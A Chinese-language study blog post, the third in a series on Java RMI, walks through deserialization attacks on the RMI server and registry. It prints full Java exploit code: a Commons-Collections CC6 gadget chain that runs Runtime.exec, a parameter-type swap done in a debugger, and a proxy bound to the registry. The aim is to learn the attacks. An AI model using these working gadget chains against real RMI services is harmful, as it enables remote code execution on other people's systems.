Java RMI學習與解讀(三)
寫在前面
接下來這篇就是最感興趣的Attack RMI部分了。
前面也說過,RMI的通信過程會用到反序列化,那么針對於RMI的三個角色: Server/Regisrty/Client 都存在攻擊方法,接下來解讀與學習這一部分。
引用下su18師傅文章中RMI部分的RMI執行流程圖,因為后面學習RMI的攻擊方式還是需要對RMI的執行流程很清楚才可以
Attack RMI
攻擊Server端
0x01 惡意傳參
其實這個思路簡單點說,就是在遠程接口(RemoteInterface)中聲明了一個方法,該方法的參數是一個對象(Object類型),那么在我們RMI時,傳入一個自定義的惡意對象,在RMI通信時序列化,在Server端觸發反序列化,且Server端存在一些Gadget就可以實現RCE。
這里有一個上一篇文章沒細跟的點,我們知道反序列化操作在RMI時是被封裝到了unmashralValue
方法中,該方法位於rt.jar!/sun/rmi/server/UnicastRef.class
中,只要不是八大基本類型的參數,最終都會反序列化(比如String,數組,以及基本數據類型的封裝類如Interger,這些都會被反序列化)所以說這個方法的參數類型不一定必須為Object。
下面還是選用Object類型
pom.xml加入CC或其他Gadget可RCE的,這里用的CC6
RemoteInterface
String attackServer(Object object) throws RemoteException;
RemoteObject
@Override
public String attackServer(Object object) throws RemoteException {
return "In attackServer Method!";
}
RMIClient
public class RMIClient3 {
public static void main(String[] args) throws Exception {
//創建注冊中心對象
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
//打印注冊中心中的遠程對象別名list
System.out.println(Arrays.toString(registry.list()));
//通過別名獲取遠程對象存根stub並調用遠程對象的方法
RemoteInterface stub = (RemoteInterface) registry.lookup("Zh1z3ven");
System.out.println("[INFO] RegistryServer: " + stub.attackServer(evilObject()));
}
public static Object evilObject() throws Exception {
Transformer Testtransformer = new ChainedTransformer(new Transformer[]{});
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})
};
Map map = new HashMap();
Map lazyMap = LazyMap.decorate(map, Testtransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "test1");
HashSet hashSet = new HashSet(1);
hashSet.add(tiedMapEntry);
lazyMap.remove("test1");
//通過反射覆蓋原本的iTransformers,防止序列化時在本地執行命令
Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(Testtransformer, transformers);
return hashSet;
}
}
大致流程為
RemoteInterface接口存在參數類型為Object的方法
Client端 ==> 將作為參數的對象進行序列化(通過遠程對象的引用也可以說是代理對象) ==> Server端 ==> 反序列化該參數(readObject) ==> 進入Gadget
那么這里有一個細節就是我們產生惡意類的方法的返回值(Object evilObject())與RemoteInterface中定義的方法的參數類型都為Object,這里是沒有問題的。但是當傳參的類型與我們傳入的類型不一致時,比如RemoteInterface接口定義的是A類型,我們傳入的是B類型,雖然都是傳入的對象,但在Server端會拋出找不到該方法的異常,因為傳入的參數類型與接口定義的方法不匹配。
這里有4種解決方法,僅復現第4種
- 通過網絡代理,在流量層修改數據
- 自定義 “java.rmi” 包的代碼,自行實現
- 字節碼修改
- 使用 debugger
首先我們在RemoteInterface接口中重載attackServer方法,方法的參數為Client端不存在的類(ServerObject), 在RemoteObjectInvocationHandler 的 invokeRemoteMethod
方法處下斷點,將method
所代表的方法中的參數值類型改為服務端存在ServerObject.class
再去觸發反序列化即可。
RMI-Server/RemoteInterface
RMI-Server/RemoteObject
將之前的attackServer方法內容注釋掉
RMI-Client/RemoteInterface
同時寫上這兩個方法且創建ServerObject類
可以嘗試先直接運行Client端 會拋出異常
我們這里在java/rmi/server/RemoteObjectInvocationHandler.java
中invokeRemoteMethod
方法下斷點
debug,更改method的值
彈出計算器
回頭看看這個利用手法的限制:
- 已知RemoteInterface且其中存在某方法的參數類型為對象
- 這個對象的模版類已知
- 存在反序列化Gadget且可利用
0x02 動態加載
前面也提到了RMI支持動態加載,當本地 ClassPath 中無法找到相應的類時,會在指定的 codebase 里加載 class。
當時提到了兩個場景,分別是Client端加載Server端和Server端加載Client端。這里用到的就是Server端加載Client端。
通過java.rmi.server.codebase
屬性設置rmi
協議的URL,讓Server端加載指定URL下的惡意類完成RCE。
當然使用動態類加載依然有使用前提:
- Server端設置RMISecurityManager作為安全管理器(SecurityManager)
- Server端屬性 java.rmi.server.useCodebaseOnly 的值必須為false(JDK 6u45、7u21之前默認為false)
serialVersionUID ,這個點是個人想到的,如果UID不一樣導致反序列化失敗如何解決?
動態加載時用的是loadClass
方法加載.class
文件,但是調用方法時是在遠程Server端而本地Client端是拿到的方法執行后的返回值。那如何利用呢?
這里想到個不太現實的場景:Server端的RemoteObject中實現的方法會去將我們傳入的遠程對象進行newInstance
操作,觸發靜態代碼塊中代碼執行。那么可控點出來了,我們在Client端上的遠程類構造CC poc(或其他任意RCE的)寫入靜態代碼塊。達到遠程代碼執行orRCE。
但是這里有新問題:
- 真的有這種場景嘛?(感覺基本實戰遇不到)
- 因為Server端只會loadClass並不會進行反序列化(所以在靜態代碼塊中就要完成readObject的操作),即使我們不是CC poc,只是寫了Runtime.exec去執行命令,如何避免本地觸發命令執行呢?
RemoteInterface
String attackServerLoadClass(Object object) throws RemoteException;
RemoteObject
@Override
public String attackServerLoadClass(Object object) throws RemoteException {
try {
object.getClass().newInstance();
} catch (InstantiationException e) {
e.printStackTrace();
} catch (IllegalAccessException e) {
e.printStackTrace();
}
return object.getClass().getName();
}
其他部分基本和之前動態加載代碼沒啥區別,惡意類的話,在靜態代碼塊寫入CC poc或runtime.exec()彈calc即可
這么來看針對於Server端的攻擊,可能性高的還是RemoteInterface中聲明的方法其中有以對象作為參數的,因為Server端會對傳入的參數進行反序列化達到RCE(需要有已知Gadget)
攻擊Registry
關於Registry其實就是Server端在綁定(bind)name與遠程對象時,Server端序列化傳輸遠程對象到Registry,Registry在進行反序列化從而進入Gadget。當然bind方法只是其中一個可以進入反序列化的點,同樣的還有list/lookup/rebind/unbind,只不過可控的傳參類型有些區別,比如lookup是可控string類型,bind則是Object就會在構造poc上更方便些。
RegistryServer
public class RegistryServer5 {
public static void main(String[] args) {
try {
//創建Registry
Registry registry = LocateRegistry.createRegistry(1099);
//實例化遠程對象類,創建遠程對象
RemoteObject remoteObject = new RemoteObject();
//通過Naming類綁定別名與 RemoteObject
Naming.bind("rmi://127.0.0.1:1099/Zh1z3ven", remoteObject);
//通過Naming類綁定別名與 RemoteObject
System.out.println("RegistryServer Start ...");
System.out.println("Registry List: " + Arrays.toString(registry.list()));
} catch (Exception e) {
e.printStackTrace();
}
}
}
AttackRegisrty
public class AttackRMIRegistry {
public static void main(String[] args) throws Exception {
// 使用AnnotationInvocationHandler做動態代理
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = aClass.getDeclaredConstructors()[0];
constructor.setAccessible(true);
HashMap<String, Object> map = new HashMap<String, Object>();
map.put("zh1z3ven", evilObject());
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map);
Remote remote = (Remote) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Remote.class,}, invocationHandler);
// 獲取Registry
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
registry.unbind("zh1z3ven2");
registry.bind("zh1z3ven2", remote);
System.out.println("RegistryServer List: " + Arrays.toString(registry.list()));
}
public static Object evilObject() throws Exception {
Transformer Testtransformer = new ChainedTransformer(new Transformer[]{});
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})
};
Map map = new HashMap();
Map lazyMap = LazyMap.decorate(map, Testtransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "test1");
HashSet hashSet = new HashSet(1);
hashSet.add(tiedMapEntry);
lazyMap.remove("test1");
//通過反射覆蓋原本的iTransformers,防止序列化時在本地執行命令
Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(Testtransformer, transformers);
return hashSet;
}
}
END
當然還有很多手法這里沒記錄,比如DGC層反序列化,攻擊Client端,BypassJEP290,RMI相關Gadget,BaRMIe工具解讀都還沒有做,后面遇到了再分析。深感學習RMI吃力,下面列一些參考文章,感興趣的師傅可以深入研究下。